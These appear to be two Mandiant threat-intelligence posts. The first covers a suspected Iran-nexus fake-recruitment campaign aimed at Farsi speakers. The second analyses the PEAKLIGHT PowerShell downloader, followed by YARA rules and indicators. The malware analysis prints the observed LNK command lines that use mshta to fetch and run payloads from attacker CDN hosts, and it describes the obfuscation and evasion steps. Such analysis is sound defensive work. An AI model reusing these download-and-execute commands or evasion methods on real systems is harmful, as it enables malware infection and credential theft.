Mandiant Threat Intelligence

Written by: Ofir Rozmann, Asli Koksal, Sarah Bock

Today Mandiant is releasing details of a suspected Iran-nexus counterintelligence operation aimed at collecting data on Iranians and domestic threats who may be collaborating with intelligence and security agencies abroad, particularly in Israel. 

The data collected by this campaign may support the Iranian intelligence apparatus in pinpointing individuals who are interested in collaborating with Iran’s perceived adversarial countries. The collected data may be leveraged to uncover human intelligence (HUMINT) operations conducted against Iran and to persecute any Iranians suspected to be involved in these operations. These may include Iranian dissidents, activists, human rights advocates, and Farsi speakers living in and outside Iran.

Mandiant assesses with high confidence this campaign was operated on behalf of Iran’s regime, based on its tactics, techniques, and procedures (TTPs), themes, and targeting. In addition, we observed a weak overlap between this campaign and APT42, an Iran-nexus threat actor suspected to operate on behalf of Iran’s IRGC Intelligence Organization (IRGC-IO). This campaign’s activities are in line with Iran’s IRGC and APT42’s history of conducting surveillance operations against domestic threats and individuals of interest to the Iranian government. Despite the possible APT42 connection, Mandiant observed no relations between this activity and any U.S. elections-related targeting as previously reported by Google's Threat Analysis Group.

The activity used multiple social media accounts to disseminate a network of over 35 fake recruiting websites containing extensive Farsi decoy content, including job offers and Israel-related lures, such as images of Israeli national symbols, hi-tech offices, and major city landmarks. Upon entry, the targeted users are required to enter their personal details as well as their professional and academic experience, which are subsequently sent to the attackers. 

The suspected counterintelligence operations started as early as 2017 and lasted at least until March 2024. In the past, similar campaigns were deployed in Arabic, targeting individuals affiliated with Syria and Hezbollah intelligence and security agencies. This may indicate Iran’s counterintelligence activities extend beyond its own security and intelligence apparatus, possibly in support of its allies in Syria and Lebanon. 

Mandiant worked to help ensure this activity was blocked and disrupted, the threat actor’s accounts were terminated, and Google Chrome users and the users of other browsers were protected.

Attack Lifecycle

This activity leverages a network of fake recruitment websites posing as Israel-based human resources firms that use similar imagery in attempts to socially engineer Farsi-speaking individuals into providing personal details. The websites were disseminated online including through fake social media accounts, and used similar templates. The attack lifecycle is depicted in Figure 1.

Figure 1: Attack lifecycle

The activity consists of several stages.

Step 1: Disseminate Links to Fake Recruitment Websites

Mandiant identified multiple fake social media accounts promoting the websites on various social platforms, such as X (formerly Twitter) and Virasty, commonly used in Iran. 

The following X post contains a link to the malicious website, topwor4u[.]com, as well as the following description translated from Farsi:

“In the past year, we were able to attract hundreds of information and cyber professionals and achieve unique successes at the global level.

If you have information and cyber work experience, join us”.

Figure 2: Posts by @MiladAzadihr, a Twitter profile promoting the fake recruitment website topwor4u[.]com

Figure 3: Post by @A_Soleimani_Far, a Virasty (Iranian social network) profile promoting the fake recruitment website joinoptimahr[.]com

Step 2: Fake Job Offer Websites Presenting Israel-Related Decoy Content

Upon entering the website, the user is presented with the alleged purpose of the fake human resources firms: “[to] recruit employees and officers of Iran’s intelligence and security organizations.” 

• The fake recruitment websites share templates and content, posing as HR firms, like “Optima HR” or “Kandovan HR.”

• The websites contain an elaborate description written in Farsi, presenting the alleged human resources firm as “active in the fields of international information and security/cyber consulting and research worldwide”. 

• The websites contain a Farsi description of the “Terms of Cooperation” with the fake HR firm:

“Having relevant documented experience and resume in the field of information and cyber in related institutions and organizations (Mandatory).

Protecting your privacy is our priority.
Excellent salary for the chosen ones.

Our center invites you to contact us to submit a job offer and receive special and unique projects!!

 Join us to help each other impact the world.
Our duty is to protect your privacy.”

• Mandiant observed both desktop and mobile versions of the websites beparas[.]com displaying similar contents and lures affiliated with Israel, including Israel’s flag and major city landmarks.

Figure 4: Mobile version of the fake website beparas[.]com, used between January and March 2024

Figure 5: Desktop and mobile versions of the website beparas[.]com used in February 2024; the left web page also includes a form and a Telegram contact link

• The websites contain Telegram contact links, using handles that contain “IL” (Israel) references, further enhancing the perceived Israel-affiliation of the campaign. For example:

hxxps://t[.]me/PhantomIL13

hxxps://t[.]me/getDmIL 

• Several fake recruitment websites also contained a link to join a Telegram chat:

hxxps://t[.]me/joinchat/AAAAAFgDeSXaWr2r_AQImw

• Further inspection of the domain beparas[.]com indicated the WordPress user data for the website is publicly available and lists the username “miladix” as well as Gravatar URLs likely affiliated with this user (see the following screenshot). The value "b7e2f4a5bc67256189e6732fbce86520" in the Gravatar URLs is the Sha256 value of the user’s email, according to Gravatar documentation.

• The nickname "Miladix" might be related to “Milad Azadi,” the name of the X account used by the campaign and previously mentioned. In addition, "Milad" is a Persian name, further strengthening the campaign’s affiliation to Iran. 

• Mandiant observed a domain miladix[.]com, affiliated with an Iranian software developer, although no links were found tying the campaign to miladix[.]com or its operator.

Figure 6: Screenshot of the WordPress user's URL of beparas[.]com

Step 3: Targeted User Fills Out Form, Personal and Professional details Sent to Attackers

The fake recruitment websites contain a form that includes the fields: name, birth date, email, home address, education, and professional experience. 

Figure 7: Fake personal details form

“Axis of Resistance”: Historic Operations Targeting Syria and Hezbollah

Close inspection of the fake “Optima HR” websites revealed a previous network of fake recruitment websites that targeted Farsi speakers as well as Arabic speakers affiliated with Syria and Lebanon (Hezbollah) masquerading as a different HR firm named “VIP Human Solutions.”

The “VIP Human Solutions” sites used very similar imagery and themes, purporting to recruit for security- and intelligence-related jobs using Israel-affiliated decoy content, as can be seen in the Figure 8.

Figure 8: Logos of VIP Human Solutions (2020–2023, left) and Optima HR (2022–2024, right)

Figure 9: dreamy-jobs[.]com, a fake “VIP Human Solutions” website used in 2022

The “VIP Human Solutions” website’s contents, template, and personal details form are almost identical to the “Optima HR” website. The headline translates to:

“VIP job selection is a recruitment center for respected personnel and employees of Iran's security and intelligence organizations and institutions.”

Mandiant observed significant overlaps between the historic “VIP Human Solutions” campaign and the ongoing “Optima HR” campaign, and considers both to be deployed by the same threat actor. The activity was mentioned publicly in the past and was suspected to be related to the Israeli Mossad.

Figure 10: A Tweet from January 2021 mentioning “VIP Human Solutions”

• Mandiant observed the aforementioned Telegram group chat active, which has been active since at least 2021 and used by the two clusters:

hxxps://t[.]me/joinchat/AAAAAFgDeSXaWr2r_AQImw

• The same link was embedded in multiple “VIP Human Solutions” websites, occasionally along with Israel (+972) phone numbers and additional Telegram accounts:

hxxps://t[.]me/DreamyJobs_com
hxxps://t[.]me/wazayif_IL
“wazayif” is the English transcription of the word “jobs” in Arabic (وظايف)

The “VIP Human Solutions” recruitment websites were likely in use from at least 2018 to at least 2023. In addition to Farsi websites, the cluster used Arabic websites with similar templates.

Translation of the Arabic website’s title: 

“VIP Recruitment, a center for recruiting respected military personnel into the army, security services and intelligence from Syria and Hezbollah, Lebanon.”

Figure 11: wazayif-halima[.]com, an Arabic-language “VIP Human Solutions” website, used in 2021–2022 to target Syria and Hezbollah's intelligence personnel

Mandiant also observed another version of the same website in 2023, which includes the “Loren Ipsum” dummy text in Arabic, possibly indicating that the updated version of the website was not operational yet. The template includes the Syrian flag and map, an Israeli phone number (+972), and a Telegram contact link: hxxps://t[.]me/DreamyJobs_com.

Figure 12: An updated version of wazayif-halima[.]com observed in July 2023

While the “VIP Human Solutions” domains were registered beginning in 2020, Mandiant observed further historic evidence suggesting that the campaign has been active since at least 2018. 

Specifically, a YouTube channel named “VIP Human Solutions” was created by “Alireza Ebrahimpoor” in November 2018. The channel contains a single video by “VIP Jobs Global,” with a Farsi description very similar to the fake recruitment websites’, presented as a “recruitment center for retirees and employees of Iran’s security and intelligence organizations and institutions”. The threat actor-controlled YouTube channel is no longer available.

Figure 13: “VIP Human Solutions” YouTube channel: hxxps://www[.]youtube[.]com/@vipjobsglobal1819

The video has very similar content and theme as the fake recruitment websites, including the use of the unique logo of “VIP Human Solutions.”

Figure 14: Screenshot of the “VIP Human Solutions” video

The video also contains the following contact details:

• Email address: sendcv@vipjobsglobal[.]com. The domain vipjobsglobal[.]com was registered in March 2018.

• Facebook page: hxxps://facebook[.]com/358690841262928, which started operating in December 2017 and is no longer active.

The following table compares the historic activity with the new activity described in the previous section:

 

“VIP Human Solutions”

“Optima HR”

Years Active

2017-2022

2022-2024

Languages

Farsi

Arabic

Farsi

Targeted Regions

Iran, Syria and Hezbollah 

Iran

Example Domains (full list in the IOCs section)

bilal1com[.]com (Farsi)

jomehjob[.]com (Farsi)

dreamy-job[.]com (Farsi)

damavand-hr[.]me (Arabic)

wazayif-halima[.]org (Arabic)

optima-hr[.]com

joinoptimahr[.]com

opthrltd[.]me

beparas[.]com

darakeh[.]me

topwor4u[.]com

Contact Details

hxxps://t[.]me/DreamyJobs_com

hxxps://t[.]me/wazayif_IL

hxxps://t[.]me/joinchat/
AAAAAFgDeSXaWr2r_AQImw

+972 (Israel) phone numbers

hxxps//t[.]me/PhantomIL13

hxxps://t[.]me/getDmIL 

hxxps://t[.]me/joinchat/
AAAAAFgDeSXaWr2r_AQImw

Outlook and Implications

Mandiant estimates this activity supports Iranian counterintelligence efforts to identify individuals affiliated (or interested in working) with intelligence and security agencies.

Specifically, the activities described in this blog post are of concern to Iranian individuals who are suspected to be collaborating with countries Iran might perceive as adversaries. These may include Iranian dissidents, activists, human rights advocates, and Farsi speakers living in and outside Iran.

The campaign casts a wide net by operating across multiple social media platforms to disseminate its network of fake HR websites in an attempt to expose Farsi-speaking individuals who may be working with intelligence and security agencies and are thus perceived as a threat to Iran’s regime. The collected data, such as addresses, contact details, as well as professional and academic experience, might be leveraged in future operations against the targeted individuals.

Additional Protection Information for Google Cloud Customers

For Google Chronicle Enterprise+ customers, Chronicle rules have been released to the Emerging Threats rule pack, and IOCs listed in this blog post are available for prioritization with Applied Threat Intelligence.

Indicators of Compromise (IOCs)

A Google Threat Intelligence Collection featuring IOCs related to the activity described in this post is now available for registered users.

Cluster 1: “Optima HR”, “Kandovan HR” and “Paras IL”, active 2022-2024

beparas[.]com

parasil[.]me

darakeh[.]me

kandovani[.]org

topwor4u[.]com

opthrltd[.]me

joinoptimahr[.]com

optimax-hr[.]com

optimac-hr[.]com

optima-hr[.]com

titanium-hr[.]com

 

Cluster 2: “VIP Human Solutions”, active 2017-2023

azadijobs[.]me

bilal1com[.]com

damavand-hr[.]me

damkahill[.]com

dream-jobs[.]org

dream-jobs[.]vip

dreamy-job[.]com

dreamy-jobs[.]com

dreamycareer[.]com

golanjobs[.]me

hat-cast[.]com

irnjobs[.]me

jomehjob[.]com

radabala[.]com

rostam-hr[.]vip

salamjobs[.]me

shirazicom[.]com

syrtime[.]me

topiranjobs[.]me

trnjobs[.]me

vipjobsglobal[.]com

wazayif-halima[.]com

wazayif-halima[.]org

wehatcast[.]com

youna101[.]me

younamesh[.]com

   

Written by: Aaron Lee, Praveeth DSouza

TL;DR

Mandiant identified a new memory-only dropper using a complex, multi-stage infection process. This memory-only dropper decrypts and executes a PowerShell-based downloader. This PowerShell-based downloader is being tracked as PEAKLIGHT.

Overview

Mandiant Managed Defense identified a memory-only dropper and downloader delivering malware-as-a-service infostealers. During our investigation, Mandiant observed the malware download payloads such as LUMMAC.V2 (LUMMAC2), SHADOWLADDER, and CRYPTBOT. Mandiant identified the initial infection vector as a Microsoft Shortcut File (LNK) that connects to a content delivery network (CDN) hosting an obfuscated memory-only JavaScript dropper. Analysis of the payload revealed that it executes a PowerShell downloader script on the host. Mandiant named this final downloader PEAKLIGHT.

Figure 1: Infection chain

Infection Chain Stage 1: Movie Lures; A Blast from the Past 

In recent investigations, Mandiant identified victims downloading malicious ZIP files disguised as pirated movies. These archives contained a malicious Microsoft Shortcut File (LNK) following the filename schema seen in Figure 2:

* Video_mp4_1080p_x264.zip -> The Movie (HD).lnk * Video_mp4_[1080p].zip -> Full Movie 1080p HD.lnk * @!Movie_HD_1080p_mp4_@!.zip -> Full Movie HD (1080p).lnk * mp4_Full_Video_HD_1080p@!.zip -> Full Video (HD) mp4.lnk

Figure 2: Initial infection

During an associated investigation within a client environment, Mandiant identified anomalous outbound network activity to the IP address 62.133.61[.]56. The XML page seen in Figure 3 was subsequently discovered at the URL hxxp://62.133.61[.]56/Downloads.

Figure 3: XML markup

Of particular interest was this snippet from the XML markup, seen in Figure 4.

<D:href>/Downloads/Full%20Video%20HD%20%281080p%29.lnk</D:href> <D:propstat> <D:prop> <D:resourcetype></D:resourcetype> <D:displayname>Full Video HD (1080p).lnk</D:displayname> <D:getcontenttype>application/octet-stream</D:getcontenttype> <D:getetag>"17d6b3e5205a12a0460"</D:getetag> <D:getcontentlength>1120</D:getcontentlength> <D:getlastmodified>Fri, 07 Jun 2024 11:01:44 GMT</D:getlastmodified> <D:supportedlock>

Figure 4: Forwarding mechanism

Based on the contents of Figure 4, this code may have served as a redirect or forwarding mechanism for the URL hxxp://62.133.61[.]56/Downloads/Full Video HD (1080p).lnk (MD5: 62f20122a70c0f86a98ff14e84bcc999). Mandiant subsequently acquired this file and determined it was a LNK file configured with a media file icon (Figure 5).

Figure 5: LNK file configured with a media file icon

LNK files are a common tactic used by threat actors to trick unsuspecting users into unknowingly executing malware. These files can be disguised as legitimate documents or programs, making them effective for hiding in plain sight.

At this stage in the investigation, Mandiant identified different command variations within the parameters of the LNK file.

Variation 1

The parameters portion of the LNK file was configured to leverage the legitimate Microsoft utility forfiles.exe to search for the file win.ini and execute a PowerShell script. Mandiant observed the execution of the following command (Figure 6):

forfiles.exe /p C:\Windows /m win.ini /c "powershell . mshta https://nextomax.b-cdn[.]net/nexto"

Figure 6: Initial PowerShell script variation 1

This command:

• Uses the /p command switch for forfiles.exe to set the designated file search path to C:\Windows.

• Uses the /m command switch to look for files matching the name win.ini. Then, for each match (though on typical Windows installations there will only be one):

• Starts powershell.exe with configurations to load a localized or dot-sourced script, which is signified by the "." (in this case, the output generated by the rest of the command-line parameters).

• Retrieves a second-stage payload from the URL hxxps://nextomax.b-cdn[.]net/nexto.

• Executes the retrieved payload via mshta.exe.

After executing this LNK file, Windows Media Player was opened on the affected host, and a video of a prominent film studio's opening logo reel played automatically.

This video file was simply called video.mp4 (MD5: 91423dd4f34f759aaf82aa73fa202120) and presumably served as a "cover" video to attempt to alleviate suspicions that the affected host had, in reality, been infected with malware.

Variation 2

In a different investigation, Mandiant observed the parameters portion of the LNK file initiated a PowerShell command that employed asterisks (*) as wildcards to launch mshta.exe to discreetly run malicious code retrieved from a remote server.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e'). ('PSChildName')hxxps://potexo.b-cdn[.]net/potexo

Figure 7: Initial PowerShell script variation 2

This command:

• Runs a script signified by the dot sourcing operator ".".

• Uses the Get-ItemProperty (gp) to point to the Mshta registry hive and psChildName to specify the object, mshta.exe.

• Retrieves the second-stage payload from the URL hxxps://potexo.b-cdn[.]net/potexo and executes via mshta.exe.

The attackers employed the following evasion techniques to further cover their tracks:

• System Binary Proxy Execution: By using mshta.exe, the attackers execute malicious code directly from a remote server, bypassing application control solutions and browser security settings. 

• Content Delivery Network Abuse: The attackers took advantage of a reputable content delivery network (Bunny CDN) to host their malicious payloads. This abuse of trust associated with CDNs allowed them to circumvent security filters that might not scrutinize traffic from known, trusted sources.

Both variations utilize MITRE ATT&CK® Technique T1218.005: System Binary Proxy Execution: Mshta.

Stage 2: JavaScript Dropper

Figure 8 shows analysis of the HTML file cached on the CDN contained an obfuscated memory-only JavaScript dropper.

Figure 8: JavaScript dropper layer 1

The script begins by assigning decimal-encoded ASCII characters to randomly named variables. The String.fromCharCode() function is then used to convert the decimal-encoded characters back into their corresponding ASCII characters to decode the JavaScript dropper embedded within the script.

Mandiant identified an embedded payload after decoding the JavaScript dropper, seen in Figure 9.

Figure 9: JavaScript dropper layer 2

The script in Figure 9 carries out the following actions:

1. Decoding Function (wAJ)

• The function receives an array of numbers, decodes each by subtracting 619, and then converts the result to its corresponding character using String.fromCharCode(). These characters are then combined to produce the final, decoded string, which is returned by the function.

2. Payload (KbX, YmD)

• The variables KbX and YmD contain obfuscated data, which is decoded by the wAJ function.

3. ActiveXObject

• The script employs a decoded variable YmD, which resolves to Wscript.shell, to create a new ActiveX object. This object grants the script system-level privileges to execute commands.

4. IMD.Run

• Executes the decoded KbX command.

• Parameters:

• 0: This parameter instructs the command to run in a hidden window, keeping its actions concealed from the user.

• true: This parameter ensures the script waits for the command to complete its execution before moving on to any subsequent steps.

The payload (KbX) was abbreviated to maintain a concise presentation.

Note: Mandiant used this CyberChef recipe to successfully decode the obfuscated JavaScript dropper.

Variation 1: Hex-Encoded Payload

Figure 10: PowerShell hex-encoded payload

The first command conceals its malicious payload within a string of hexadecimal characters. The execution process adheres to the following sequence:

• Stealthy PowerShell Launch: The command initiates PowerShell in a hidden window (-w 1), bypasses execution restrictions (-ep Unrestricted), and skips loading user profiles (-nop), ensuring covert operations.

• Hex to Byte Conversion: A custom function (ffQiHkvB) is defined to transform the hexadecimal string into a byte array, a standard format for storing data.

• Decryption: The script creates an Advanced Encryption Standard (CBC mode) decryptor using a hex key. The byte array is decrypted, revealing the actual PowerShell code.

• Execution: Finally, the decrypted PowerShell code is executed.

Note: Mandiant decoded the payload using a custom CyberChef recipe.

Variation 2: Base64-Encoded Payload

Figure 11: PowerShell Base64-encoded payload

The second command follows a similar structure but with key differences: the malicious payload is encoded using Base64 instead of hexadecimal and is executed through a memory stream.

• Stealth and Configuration: The initial steps to launch PowerShell in a hidden, unrestricted mode are the same as in Variation 1.

• Base64 Decoding: Instead of a custom function, this variant directly uses PowerShell's built-in FromBase64String method to decode the payload. 

• Decryption, Decompression, and Execution: The payload is decrypted using AES (ECB mode) with a Base64-encoded key. After decryption, the payload is decompressed into memory using GZIP, revealing the PowerShell code, which is subsequently executed.

Stage 3: PEAKLIGHT; The PowerShell Downloader

PEAKLIGHT is an obfuscated PowerShell-based downloader that checks for the presence of hard-coded filenames and downloads files from a remote CDN if the files are not present. 

During our analysis, Mandiant identified the following key differences across the variations of the PEAKLIGHT script:

• Target Directory: 
  • Variation 1 downloads files to $env:AppData.
  • Variation 2 downloads files to $env:ProgramData.
• Execution Logic: 
  • Variation 1 executes the first alphabetically sorted file in the archive. 
  • Variation 2 executes the first file found in the archive.
• File Name: 
  • Variation 1 downloads files as L1.zip and L2.zip.
  • Variation 2 downloads files as K1.zip and K2.zip. 
• Additional Actions: 
  • Variation 1 also downloads an image (video.mp4) and makes a request to a remote server. 
  • Variation 2 does not download an image file.

Note: Mandiant decoded the obfuscated payload using a custom CyberChef recipe.

Variation 1

Figure 12: PEAKLIGHT variation 1

This PEAKLIGHT downloader is designed to execute the following tasks:

1. znY: Writes data to a file.

2. nbF: Extracts a ZIP archive and runs the first executable file inside.

3. aXR: Downloads data from an obfuscated URL.

4. jkg: Deobfuscates a string.

Main Function (AsD)

• Video Playback or Download: It checks if video.mp4 exists in the AppData folder. If it exists, it plays the video. If not, it downloads the video from a specified URL, saves it as video.mp4 in the AppData folder, and then plays it.

• Image Download: It downloads an image from https://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png using Invoke-WebRequest.

• ZIP File Handling:

• It checks if L1.zip exists in the AppData folder.

• If it exists, it extracts its contents to the AppData folder and runs the first executable file found within the ZIP.

• If not, it downloads L1.zip from a specified URL, saves it in the AppData folder, extracts its contents, and runs the first executable.

• It repeats the same process for L2.zip.

Analysis of the PEAKLIGHT downloader outlined in Figure 12 revealed the following URIs:

• https://nextomax.b-cdn[.]net/video.mp4

• https://nextomax.b-cdn[.]net/L1.zip

• https://nextomax.b-cdn[.]net/L2.zip

• https://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png 

Variation 2

Figure 13: PEAKLIGHT variation 2

This PEAKLIGHT downloader is designed to deliver and execute additional payloads on a compromised system.

The functions:

1. qXF($EGa, $aQU): The purpose of this function is to write data to a file.
2. Irl($EGa): Extracts a ZIP archive and runs an executable from it.
3. OBs($BYu):  Downloads data from a URL.
4. Fzl($XFW): Deobfuscates an array of numbers into a string (likely a URL).

Main Execution (bSo function):

• Defines two ZIP file paths: K1.zip and K2.zip within the ProgramData directory.

• For each of these ZIP files, it checks if they already exist.

• If the file exists, it simply unzips it using the Irl function.

• If the file is missing, it first uses the function Fzl to decode an obfuscated web address, then downloads the ZIP file from that address using the function OBs. Finally, it unzips the downloaded file using the function Irl.

Analysis of the PEAKLIGHT downloader outlined in Figure 13 revealed the following URIs:

• https://potexo.b-cdn[.]net/K1.zip

• https://potexo.b-cdn[.]net/K2.zip

Additionally, Mandiant identified other PEAKLIGHT downloader samples connecting to various subdomains hosted on Bunny CDN. These samples will be discussed in more detail in the subsequent stage of analysis.

Stage 4: The Final Payload Variation 1: L1.zip and L2.zip

Having explored the initial stages of the PEAKLIGHT downloader's operation, our focus now shifts to the payload it delivers. As detailed in Variation 1 of Stage 3, this downloader was observed downloading three specific files: L1.zip, L2.zip, and video.mp4. Mandiant successfully acquired and extracted the contents of the files, as seen in Table 1.

Download

Extracted Content

• Filename: L2.zip

• Hash: 307f40ebc6d8a207455c96d34759f1f3

• Type: Archive

• Filename: Setup.exe

• Hash: d8e21ac76b228ec144217d1e85df2693

• Type: Win32 EXE

• Filename: L1.zip

• Hash: a6c4d2072961e9a8c98712c46be588f8

• Type: Archive

• Filename: LiteSkinUtils.dll

• Hash: 059d94e8944eca4056e92d60f7044f14

• Type: Win32 DLL

• Filename: Bentonite.cfg

• Hash: e7c43dc3ec4360374043b872f934ec9e

• Type: PNG

• Filename: Video.mp4

• Hash: 91423dd4f34f759aaf82aa73fa202120

• Type: Video

  Table 1: Variant 1 downloaded files and extracted archive content

1. L2.zip contained the following:
   • Setup.exe: This executable is a variant of the Cryptbot infostealer. Our analysis uncovered the following embedded URLs:
     1. https://brewdogebar[.]com/code.vue
     2. http://gceight8vt[.]top/upload.php
2. L1.zip contained the following:
   • bentonite.cfg: This file contains malware configurations that are linked to the SHADOWLADDER malware family.
   • LiteSkinUtils.dll: It is a malicious component used by SHADOWLADDER malware to facilitate the execution of its second-stage payload through dynamic-link library (DLL) side-loading.
3. Video.mp4
   • This file appears to be a legitimate movie trailer, likely used as a decoy to deceive the victim into believing that the downloaded files are safe.

Variation 2: K1.zip and K2.zip

The second variant of the PEAKLIGHT downloader, discussed in Variation 2 of Stage 3, was observed downloading two archives: K1.zip and K2.zip.

Download

Extracted Content

• Filename: K1.zip

• Hash: b6b8164feca728db02e6b636162a2960

• Type: Archive

• Filename: toughie.txt

• Hash: dfdc331e575dae6660d6ed3c03d214bd

• Type: data

• Filename: Aaaa.exe

• Hash: b15bac961f62448c872e1dc6d3931016

• Type: Win32 EXE

• Filename: WCLDll.dll

• Hash: 47eee41b822d953c47434377006e01fe

• Type: Win32 DLL

• Filename: C:\Users\user\AppData\Local\Temp\erefgojgbu

• Hash: d6ea5dcdb2f88a65399f87809f43f83c

• Type: Win32 EXE

 

• Filename: K2.zip

• Hash: 236c709bbcb92aa30b7e67705ef7f55a

• Type: Archive

• Filename: Jfts.exe

• Hash: b15bac961f62448c872e1dc6d3931016

• Type: Win32 EXE

Table 2: Variant 2 downloaded files and extracted archive content

1. K1.zip contained the following:
   • toughie.txt: This file contained configurations related to the SHADOWLADDER malware.
   • aaaa.exe & WCLDll.dll: These binaries are DLL files that SHADOWLADDER patches to leverage their HTTP download functionality.
2. K2.zip contained the following:
   • Jfts.exe: This file is a renamed copy of the previously mentioned aaaa.exe.

Upon execution, Jfts.exe loads the malicious WCLDll.dll from K1.zip. This DLL then leverages the "More Utility" (more.com) to stealthily drop two additional files:

• \AppData\Local\Temp\Hofla.au3 (MD5: c56b5f0201a3b3de53e561fe76912bfd): Identified as an AutoIt3.exe binary.
• \AppData\Local\Temp\erefgojgbu (MD5: d6ea5dcdb2f88a65399f87809f43f83c): Further analysis of this files confirmed their association with the CRYPTBOT.AUTOIT malware.

Variation 3: Additional PEAKLIGHT Variant

Further analysis has identified an additional PEAKLIGHT downloader variant employing distinct tactics. This variant retrieves its payload,the archives K1.zip and K2.zip, from the domain matodown.b-cdn[.]net. A detailed breakdown of the contents within these archives is presented in Table 3.

Download

Extracted Content

• Filename: K1.zip

• Hash: bb9641e3035ae8c0ab6117ecc82b65a1

• Type: Archive

• Filename: cymophane.doc

• Hash: f98e0d9599d40ed032ff16de242987ca

• Type: ISO

• Filename: WebView2Loader.dll

• Hash: 58c4ba9385139785e9700898cb097538

• Type: Win32 DLL

• Filename: K2.zip

• Hash: d7aff07e7cd20a5419f2411f6330f530

• Type: Archive

• Filename: hgjke.exe

• Hash: c047ae13fc1e25bc494b17ca10aa179e

• Type: Win32 EXE

• Filename: AppData\Local\Temp\oqnhustu

• Hash: 43939986a671821203bf9b6ba52a51b4

• Type: Win32 EXE

  Table 3: Variant 3 downloaded files and extracted archive content

1. K1.zip contained the following:
   • cymophane.doc: This file contained configurations related to the SHADOWLADDER malware.
   • WebView2Loader.dll: This malicious DLL was observed to be dropped by the LummaC.V2 infostealer.
2. K2.zip contained the following:
   • Hgjke.exe: Identified as a renamed copy of the legitimate "JRiver Web Application" executable. During dynamic analysis, hgjke.exe was observed loading the malicious WebView2Loader.dll. Mandiant observed hgjke.exe utilize the comp.exe utility to drop two additional files:
     • AppData\Local\Temp\Ufa.au3 (MD5: c56b5f0201a3b3de53e561fe76912bfd): Identified as an AutoIt3 binary.
     • AppData\Local\Temp\oqnhustu (MD5: 43939986a671821203bf9b6ba52a51b4): Further analysis confirmed this file to be consistent with the LummaC.V2 payload.

Conclusion

PEAKLIGHT is an obfuscated PowerShell-based downloader that is part of a multi-stage execution chain that checks for the presence of ZIP archives in hard-coded file paths. If the archives do not exist, the downloader will reach out to a CDN site and download the remotely hosted archive file and save it to disk. PEAKLIGHT was observed downloading payloads such as LUMMAC.V2, SHADOWADDER, and CRYPTBOT. The malware developers used several different obfuscation and evasion techniques, including system binary proxy execution and CDN abuse. Mandiant identified different variations of the PEAKLIGHT downloader, each with its own unique characteristics.

We encourage security researchers to remain vigilant and share any insights or similar malware samples they encounter. By working together and fostering open communication within the cybersecurity community, we can better understand the evolving threat landscape and strengthen our collective defenses against future attacks.

Protect and scan your environment against the indicators of compromise and YARA rules in the following section. If you suspect that your environment may have been compromised, contact our Incident Response team for assistance.

Acknowledgements

We would like to thank Adrian McCabe for assistance with LNK research and subject matter expertise, Raymond Leong for the initial analysis of malware stages and payloads, and the Mandiant Research Team for their valuable feedback.

Detections YARA Rules rule M_AES_Encrypted_payload { meta: author = "Mandiant" description = "This rule is desgined to detect on events that exhibits indicators of utilizing AES encryption for payload obfuscation." target_entity = "Process" strings: $a = /(\$\w+\.Key(\s|)=((\s|)(\w+|));|\$\w+\.Key(\s|)=(\s|)\w+\('\w+'\);)/ $b = /\$\w+\.IV/ $c = /System\.Security\.Cryptography\.(AesManaged|Aes)/ condition: all of them } rule M_Downloader_PEAKLIGHT_1 { meta: mandiant_rule_id = "e0abae27-0816-446f-9475-1987ccbb1bc0" author = "Mandiant" category = "Malware" description = "This rule is designed to detect on events related to peaklight. PEAKLIGHT is an obfuscated PowerShell-based downloader which checks for the presence of hard-coded filenames and downloads files from a remote CDN if the files are not present." family = "Peaklight" platform = "Windows" strings: $str1 = /function\s{1,16}\w{1,32}\(\$\w{1,32},\s{1,4}\$\w{1,32}\)\ {\[IO\.File\]::WriteAllBytes\(\$\w{1,32},\s{1,4}\$\w{1,32}\)\}/ ascii wide $str2 = /Expand-Archive\s{1,16}-Path\s{1,16}\$\w{1,32}\ s{1,16}-DestinationPath/ ascii wide $str3 = /\(\w{1,32}\s{1,4}@\((\d{3,6},){3,12}/ ascii wide $str4 = ".DownloadData(" ascii wide $str5 = "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12" ascii wide $str6 = /\.EndsWith\(((["']\.zip["'])|(\(\w{1,32}\s{1,16}@\((\d{3,6},){3}\d{3,6}\)\)))/ ascii wide $str7 = "Add -Type -Assembly System.IO.Compression.FileSystem" ascii wide $str8 = "[IO.Compression.ZipFile]::OpenRead" condition: 4 of them and filesize < 10KB } Indicators of Compromise (IOCs) Network-Based IOCs PEAKLIGHT NBIs: hxxps://fatodex.b-cdn[.]net/fatodex hxxps://matodown.b-cdn[.]net/matodown hxxps://potexo.b-cdn[.]net/potexo LUMMAC.V2 C2s: relaxtionflouwerwi[.]shop deprivedrinkyfaiir[.]shop detailbaconroollyws[.]shop messtimetabledkolvk[.]shop considerrycurrentyws[.]shop understanndtytonyguw[.]shop patternapplauderw[.]shop horsedwollfedrwos[.]shop tropicalironexpressiw[.]shop CRYPTBOT C2s: hxxp://gceight8vt[.]top/upload.php hxxps://brewdogebar[.]com/code.vue SHADOWLADDER: hxxp://62.133.61[.]56/Downloads/Full%20Video%20HD%20(1080p).lnk hxxps://fatodex.b-cdn[.]net/K1.zip hxxps://fatodex.b-cdn[.]net/K2.zip hxxps://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png hxxps://matodown.b-cdn[.]net/K1.zip hxxps://matodown.b-cdn[.]net/K2.zip hxxps://nextomax.b-cdn[.]net/L1.zip hxxps://nextomax.b-cdn[.]net/L2.zip hxxps://potexo.b-cdn[.]net/K1.zip hxxps://potexo.b-cdn[.]net/K2.zip Host-Based IOCs CRYPTBOT: erefgojgbu (MD5: d6ea5dcdb2f88a65399f87809f43f83c) L2.zip (MD5: 307f40ebc6d8a207455c96d34759f1f3) Sеtup.exe (MD5: d8e21ac76b228ec144217d1e85df2693) LUMMAC.V2: oqnhustu (MD5: 43939986a671821203bf9b6ba52a51b4) WebView2Loader.dll (MD5: 58c4ba9385139785e9700898cb097538) PEAKLIGHT: Downloader (MD5: 95361f5f264e58d6ca4538e7b436ab67) Downloader (MD5: b716a1d24c05c6adee11ca7388b728d3) SHADOWLADDER: Aaaa.exe (MD5: b15bac961f62448c872e1dc6d3931016) bentonite.cfg (MD5: e7c43dc3ec4360374043b872f934ec9e) cymophane.doc (MD5: f98e0d9599d40ed032ff16de242987ca) K1.zip (MD5: b6b8164feca728db02e6b636162a2960) K1.zip (MD5: bb9641e3035ae8c0ab6117ecc82b65a1) K2.zip (MD5: 